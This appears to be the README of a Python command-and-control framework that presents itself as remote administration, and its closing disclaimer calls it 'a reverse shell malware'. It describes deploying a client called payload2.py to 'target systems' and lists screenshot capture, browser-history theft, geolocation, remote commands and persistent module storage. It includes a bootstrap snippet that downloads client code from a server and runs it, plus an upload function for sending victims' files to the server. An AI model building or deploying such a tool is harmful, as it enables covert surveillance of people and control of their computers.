A modular client-server framework for remote system administration and management.
This tool provides a flexible architecture for executing commands and modules on remote clients from a central server.
- Modular Architecture – Dynamic loading of server and client modules
- Secure Communication – Encrypted data transfer between server and clients
- Persistent Module Storage – Store modules on clients for later execution
- Remote Command Execution – Run commands on connected clients
- File Transfer – Send and receive files between server and clients
- Geolocation Tracking – Determine client geographic location
- Browser History Analysis – Retrieve and analyze browser history
- Screenshot Capability – Capture client screen contents
- Failsafe Mechanism – Maintain connections in unstable environments
Click to expand
.
├── server/
│ ├── main.py # Main server implementation
│ ├── modules/ # Server-side modules
│ │ ├── storemod.py # Store code on clients
│ │ ├── runmod.py # Run stored code on clients
│ │ ├── file_transfer.py # File transfer functionality
│ │ ├── geoloc.py # Geolocation command handler
│ │ └── example.py # Example module template
│ ├── client_modules/ # Client modules stored on the server
│ │ ├── geoloc.py # Geolocation module
│ │ ├── history.py # Browser history retrieval
│ │ └── screenshot.py # Screen capture functionality
│ ├── websitefailsafe.py # HTTP server for client delivery
│ ├── testserver.py # Testing server implementation
│ └── payload2.py # Server-side client template
│
├── client/
│ ├── payload2.py # Main client implementation
│ ├── failsafe.py # Connection recovery mechanism
│ └── modules/ # Client-side modules
│ ├── geoloc.py # Geolocation module
│ ├── history.py # Browser history retrieval
│ └── screenshot.py # Screen capture functionality
│
└── upload/ # screenshots captured via the screenshot module
Server Setup
- Clone this repository
- Navigate to the server directory
- Run the server:
python main.py
Client Setup
- Deploy the client code to target systems
- Run the client:
python payload2.py
Click to expand detailed setup instructions
- Install Flask:
pip install flask - Ensure
payload2.pyis in the same directory aswebsitefailsafe.py
-
Start the HTTP Server
python websitefailsafe.pyThe server will start on port 5000 and listen on all interfaces (
0.0.0.0). -
Configure Connection Information
By default:@app.route('/get_target', methods=['GET']) def get_target(): return jsonify({ 'ip': '127.0.0.1', 'port': 4444 })
(For local testing,
127.0.0.1and port4444.) -
Verify Server Operation
Visit: http://localhost:5000/get_target
You should see JSON output with the IP and port information. -
Access the Client Code
http://localhost:5000/get_client_code
(Serves thepayload2.pyfile.)
- Clients can fetch code and connection info from this server.
Example bootstrap script:
import urllib.request
import json
import subprocess
import sys
import os
SERVER_URL = "http://localhost:5000"
client_code_path = "client.py"
urllib.request.urlretrieve(f"{SERVER_URL}/get_client_code", client_code_path)
with urllib.request.urlopen(f"{SERVER_URL}/get_target") as response:
target_info = json.loads(response.read())
host = target_info['ip']
port = target_info['port']
subprocess.run([sys.executable, client_code_path, "--host", host, "--port", str(port)])- Modules can upload files to
/upload(HTTP POST) - Uploaded files are stored in the
uploadsdirectory - Files can be accessed at
/uploads/<filename>
Example upload code:
import requests
import os
def upload_file(filepath, server_url="http://localhost:5000"):
filename = os.path.basename(filepath)
with open(filepath, 'rb') as f:
files = {'file': (filename, f)}
response = requests.post(f"{server_url}/upload", files=files)
return response.text- No authentication by default
- Not encrypted (HTTP)
- Binds to all interfaces (
0.0.0.0)
For production:
- Add authentication
- Use HTTPS
- IP restrictions
- Input validation & file type checking
Creating Server Modules
- Create a new Python file in
server/modules/ - Define a
register(server)function to register commands - Implement command handler functions
Example:
def register(server):
def echo_cmd(args, server):
"""Echo the arguments back to the console"""
print(f"Echo: {' '.join(args)}")
server.register_command("echo", echo_cmd, "Echo the arguments back to the console")Creating Client Modules
- Standalone Python script
- Implements required functionality
- Prints or returns results
Example:
def run():
import platform
system_info = {
"System": platform.system(),
"Node": platform.node(),
"Release": platform.release(),
"Version": platform.version(),
"Machine": platform.machine(),
"Processor": platform.processor()
}
output = "\n".join([f"{k}: {v}" for k, v in system_info.items()])
print(output)
return output
run()Storing Modules on Clients
- Connect to a client
- Run the
storemodcommand - Enter the module name (e.g.,
geoloc) - Provide the path to the Python module
> storemod
[?] Select client: 1
Module name (e.g., geoloc): geoloc
Path to Python module to push: client/modules/geoloc.py
[*] Module sent, waiting for client output...
[Client Output]
Module 'geoloc' stored successfully
Running Stored Modules on Clients
- Connect to a client
- Run the
runmodcommand - Enter the name of the stored module
> runmod
[?] Select client: 1
Module name to run: geoloc
[*] Run command sent, waiting for client output...
[Client Output]
IP: 203.0.113.1
Country: United States (US)
Region: California
City: San Francisco
ZIP: 94105
Latitude: 37.7749
Longitude: -122.4194
Timezone: America/Los_Angeles
ISP: Example ISP
Org: Example Org
This tool is intended for educational purposes only, demonstrating a reverse shell malware.
Unauthorized use against systems you don't own or have explicit permission to test may violate laws.
This software is provided for educational and research purposes only.
The author does not take responsibility for any misuse or damage caused by this program.